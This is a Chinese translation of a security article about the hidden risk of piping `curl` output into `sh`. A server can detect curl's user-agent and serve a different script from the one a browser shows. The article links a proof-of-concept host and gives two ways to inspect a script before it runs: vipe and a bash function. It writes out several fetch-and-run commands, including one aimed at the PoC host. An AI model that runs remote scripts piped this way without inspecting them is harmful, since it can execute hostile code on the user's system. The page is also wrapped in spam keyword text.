成人免费xxxxx在线视频软件_久久精品久久久_亚洲国产精品久久久_天天色天天色_亚洲人成一区_欧美一级欧美三级在线观看

保護你自己免受 `curl <url> | sh` 的危害

系統 Linux
本文并不是為了討論這個方法的好壞,而是為了提醒那些使用此方法的人,這個方法除了那些明顯的缺點外,它還有另一個隱患:直接將第三方數據通過管道傳入shell。現在有很多關于這個方法的討論,支持它的一種觀點認為要執行的腳本是透明的——你可以在命令執行前用瀏覽器打開該腳本并對其進行簡單的檢查。

除非你最近沒有安裝過開發者關注的第三方軟件,否則你很可能被建議使用如下命令直接從網絡上進行安裝。

  1. curl -s http://example.com/install.sh | sh  

本文并不是為了討論這個方法的好壞,而是為了提醒那些使用此方法的人,這個方法除了那些明顯的缺點外,它還有另一個隱患:直接將第三方數據通過管道傳入shell。現在有很多關于這個方法的討論,支持它的一種觀點認為要執行的腳本是透明的——你可以在命令執行前用瀏覽器打開該腳本并對其進行簡單的檢查。

本文的主要目的在于 a)說明這種程度的信任是可以被劫持的,并且b)在使用curl安裝軟件時為你提供一個簡便的保護方式。

概念驗證 —— 一切并非表面看到的那樣

直接切入正題,這種攻擊基于以下原理:.sh文件的內容很容易檢驗其安全性,在瀏覽器中看到的內容與通過curl下載的內容一樣。這一假設的問題在用瀏覽器和curl兩種方式用不同的user-agent,因此如果有人知道這點并加以利用將危害這個.sh文件()。

因此,一個簡單的概念定義已經出來:你可以在GitHub上看全部源代碼或者看POC hosted on Heroku;POC被掛在一個免費的Heroku dyno上,所以如果打不開,很可能是已經掛掉了。

為了快速測試一下,在你檢查了瀏覽器上.sh文件的URL后簡單在終端上運行下面的命令。如果你用curl不是發出的同一個user-agent,你得到的結果將是不同的。

  1. curl -s http://pipe-to-sh-poc.herokuapp.com/install.sh | sh 

解決方案

最簡單的辦法是每執行一個文件前, 先查看里面的內容. 具體的方法有兩種, 道理都差不多, 都是在 curl 之后, sh 之前執行; 一旦你發現有可疑的命令/代碼, 只要把編輯器關掉, 并確保編輯器退出的時候, 返回一個非零錯誤代碼.  (比如: 在 Vim 中, 你可以使用 :cq 退出). 方法1 需要安裝, 方法2 輸入命令的時候少打幾個字. 至于用哪一個, 看你個人喜好了.

方法1) 由于Vipe 允許你把運行編輯器的命令插入 unix 管道中, 查看或修改傳遞給后面程序的數據. 我們可以使用 Vipe 在 sh 執行之前查看文件的內容.

  1. curl -s http://pipe-to-sh-poc.herokuapp.com/install.sh | vipe | sh 

Vipe 屬于 themoreutils 軟件包的一部分, 你可以在下列系統中安裝:

  • Mac OSX 用 homebrew:brew install moreutils.

  • Ubuntu 用 apt:apt-get install moreutils.

  • 其他 *nix 系統, 可以使用軟件源安裝.

方法2) 自己定義 bash 函數. 找到 .bashrc 文件, 然后把下列代碼復制進去保存就可以了:

  1. # Safer curl | sh'ingfunction curlsh {  
  2.     file=$(mktemp -t curlsh) || { echo "Failed creating file"; return; }  
  3.     curl -s "$1" > $file || { echo "Failed to curl file"; return; }  
  4.     $EDITOR $file || { echo "Editor quit with error code"; return; }  
  5.     sh $file;  
  6.     rm $file;} 

調用的時候這么寫:

  1. curlsh http://pipe-to-sh-poc.herokuapp.com/install.sh  

$EDITOR 是你選的編輯器, 它會在文件執行前, 將文件打開, 方便你查看里面的內容.

英文原文:Protect yourself from the hidden dangers of `curl <url> | sh`

譯文出自:http://www.oschina.net/translate/protect-yourself-from-non-obvious-dangers-curl-url-pipe-sh

責任編輯:林師授 來源: www.djm.org.uk
相關推薦

2021-08-02 10:06:53

勒索軟件惡意軟件安全

2018-07-09 05:51:13

2021-05-10 10:08:03

網絡詐騙網絡攻擊網絡安全

2023-02-03 14:40:07

2019-02-11 10:50:22

2020-05-20 10:20:56

智能家居黑客網絡攻擊

2022-03-23 16:03:51

加密貨幣私鑰網絡安全

2019-11-28 08:03:39

網絡攻擊網絡安全數據安全

2021-11-29 18:10:30

網絡攻擊數據安全數據泄露

2021-11-09 15:16:49

物聯網物理資產IoT

2023-06-12 15:04:40

2019-10-29 05:00:58

黑客攻擊網絡安全

2022-06-13 10:18:13

物聯網IoT

2015-06-17 09:59:18

2024-11-08 09:45:47

2020-09-07 22:42:01

黑客網絡攻擊惡意軟件

2022-03-21 09:36:50

醫療機構網絡感染網絡安全

2023-02-22 15:50:18

2020-07-19 07:40:56

勒索軟件網絡攻擊漏洞

2023-08-28 16:22:06

點贊
收藏

51CTO技術棧公眾號

主站蜘蛛池模板: 久久成人精品 | 91佛爷在线观看 | 99精品九九| 亚洲国产精品va在线看黑人 | 国产精品一区二区久久精品爱微奶 | 91精品国产手机 | 天天曰天天曰 | 欧美日韩久 | 综合色播 | 成人 在线 | 成人在线一区二区三区 | 久久久av| 一区二区在线不卡 | 欧美一区二区在线视频 | 一级片免费在线观看 | 亚洲精品久久久蜜桃 | 亚洲一区二区三区四区五区午夜 | 超碰av在线| www.操.com| 国产一区 | 91国产视频在线观看 | 天天插天天射天天干 | h网站在线观看 | 日日摸夜夜添夜夜添精品视频 | 一本色道精品久久一区二区三区 | 久久久国产一区二区三区四区小说 | 欧美日韩在线一区 | 天堂一区二区三区 | 老司机67194精品线观看 | 亚洲女人天堂成人av在线 | 亚洲精久久久 | 国产精品久久久久久久久久久免费看 | 久久精品一区 | 精品一区二区在线看 | 91色在线| 888久久久 | 日韩精品免费在线观看 | 久久国内| 久久免费视频2 | 精品久久久久久久久久久下田 | 免费av一区二区三区 |